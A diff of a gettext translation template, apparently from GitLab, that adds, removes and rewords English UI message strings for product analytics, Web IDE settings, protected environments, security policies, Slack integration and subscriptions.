@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -39912,18 +40574,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40140,6 +40820,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40158,7 +40841,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40179,9 +40862,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -40670,15 +41350,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -40709,6 +41380,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -40975,9 +41661,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41231,6 +41914,9 @@ msgid_plural "The following personal access tokens: %{token_names} were revoked,
msgstr[0] ""
msgstr[1] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41380,6 +42066,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -41584,6 +42273,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -41932,6 +42624,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42034,21 +42729,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42271,6 +42972,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42346,9 +43050,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -42553,7 +43254,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
@@ -42995,6 +43696,11 @@ msgstr ""
msgid "To import an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "To keep this project going, create a new issue"
msgstr ""
@@ -43211,7 +43917,7 @@ msgstr ""
msgid "Todos|added a to-do item"
msgstr ""
-msgid "Todos|has requested access"
+msgid "Todos|has requested access to %{what} %{which}"
msgstr ""
msgid "Todos|mentioned %{who}"
@@ -43508,24 +44214,12 @@ msgstr ""
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr ""
-msgid "Trials|Go back to GitLab"
-msgstr ""
-
-msgid "Trials|Skip Trial"
-msgstr ""
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr ""
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr ""
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] ""
@@ -43630,15 +44324,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
+msgid "Try it out now"
msgstr ""
msgid "Try out GitLab Pipelines"
msgstr ""
-msgid "Try out the new Web IDE"
-msgstr ""
-
msgid "Try the troubleshooting steps here."
msgstr ""
@@ -43810,6 +44501,9 @@ msgstr ""
msgid "Unable to create link to vulnerability"
msgstr ""
+msgid "Unable to create pipeline"
+msgstr ""
+
msgid "Unable to fetch branch list for this project."
msgstr ""
@@ -43852,6 +44546,9 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
+msgid "Unable to load the page"
+msgstr ""
+
msgid "Unable to parse JSON"
msgstr ""
@@ -44032,6 +44729,9 @@ msgstr ""
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr ""
+msgid "Unselect all"
+msgstr ""
+
msgid "Unstar"
msgstr ""
@@ -44071,6 +44771,9 @@ msgstr ""
msgid "Unverified"
msgstr ""
+msgid "Unverified signature"
+msgstr ""
+
msgid "Up to date"
msgstr ""
@@ -44140,6 +44843,9 @@ msgstr ""
msgid "UpdateProject|Could not set the default branch"
msgstr ""
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr ""
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr ""
@@ -44302,15 +45008,9 @@ msgstr ""
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr ""
-msgid "UsageQuota|Increase storage temporarily"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr ""
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
@@ -44341,15 +45041,9 @@ msgstr ""
msgid "UsageQuota|Pipelines"
msgstr ""
-msgid "UsageQuota|Purchase more storage"
-msgstr ""
-
